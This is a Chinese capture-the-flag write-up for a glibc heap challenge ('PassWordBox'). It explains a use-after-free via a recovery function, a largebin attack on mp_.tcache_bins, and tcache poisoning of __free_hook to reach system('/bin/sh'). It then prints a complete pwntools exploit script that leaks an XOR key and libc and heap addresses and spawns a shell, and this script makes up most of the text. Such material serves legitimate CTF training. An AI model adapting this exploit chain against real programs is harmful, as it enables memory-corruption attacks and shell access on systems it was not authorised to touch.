一 、题目背景
正好之前发了一篇文章说LargeBin Attack,这里正好实战记录一下。
二、题目链接
https://pan.baidu.com/s/1k0AAV7NF4esBzwQahx3u_w 提取码:kbtl
三、利用过程
题目的逻辑就不多说了,就是一个经典的堆题,注意到有个Recovery可以恢复堆块的使用状态,当我们free一个堆块后进行recovery操作就可以再次利用这个堆块,相当于uaf。Add操作只能申请Largebin Size的堆块,所以这里的思路就是先使用Largebin Attack将mp_结构中的tcache_bins改成一个大数,然后使用tcache投毒打free_hook,修改为system后释放一个以”/bin/sh\x00”开头的堆块即可getshell。注意因为这是PassWordBox,会涉及到加密操作,加密逻辑十分简单,每8个byte和key进行一次异或。在show和Add的时候分别进行解密和加密。所以在交互的时候需要先泄露key的值,然后后续需要注意是否交互时是否需要与key异或。
四、exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| from pwn import * p = process('./pwdPro') libc = ELF('./libc.so.6')
def cmd(a): p.recvuntil(b'Input Your Choice:') p.sendline(str(a)) def alloc(index,size,content): cmd(1) p.recvuntil(b'Which PwdBox You Want Add:') p.sendline(str(index)) p.recvuntil(b'ID You Want Save:') p.sendline(b'a') p.recvuntil(b'Length Of Your Pwd:') p.sendline(str(size)) p.recvuntil(b'Your Pwd:') p.sendline(content) def free(index): cmd(4) p.recvuntil(b'Idx you want 2 Delete:') p.sendline(str(index)) def show(index): cmd(3) p.recvuntil(b'Which PwdBox You Want Check:') p.sendline(str(index)) def edit(index,content): cmd(2) p.sendline(str(index)) sleep(0.05) p.send(content) def recovery(index): cmd(5) p.recvuntil(b'Idx you want 2 Recover:') p.sendline(str(index))
alloc(0,0x448,b'a') alloc(1,0x798,b'b') alloc(2,0x438,b'c') alloc(3,0x798,b'd')
free(0) recovery(0) edit(0,p64(0)) show(0) p.recvuntil(b'Pwd is: ') key = u64(p.recv(8))
leak_libc = u64(p.recv(8)) ^ key libc_base = leak_libc + 0x7f1050e60000 - 0x7f105101cbe0 edit(0,p64(leak_libc))
alloc(4,0x458,b'e')
show(0) p.recvuntil(b'Pwd is: ') p.recv(16) leak_heap = u64(p.recv(8)) ^ key
free(2)
target_addr = libc_base + 0x7f496231e2b8 - 0x7f4962162000 - 8 log.success(hex(target_addr)) edit(0,p64(leak_libc) * 2 + p64(leak_heap) + p64(target_addr))
alloc(5,0x458,p64(u64(b'/bin/sh\x00') ^ key))
alloc(6,0x500,b'f') alloc(7,0x500,b'g') free(6) free(7) recovery(7) free_hook = libc_base + libc.symbols['__free_hook'] system = libc_base + libc.symbols['system'] edit(7,p64(free_hook)) alloc(8,0x500,b'g') alloc(9,0x500,p64(system ^ key)) free(5) log.success("Key:" + hex(key)) log.success("libc_base:" + hex(libc_base)) log.success("leak_heap:" + hex(leak_heap))
p.interactive()
|
五、利用结果
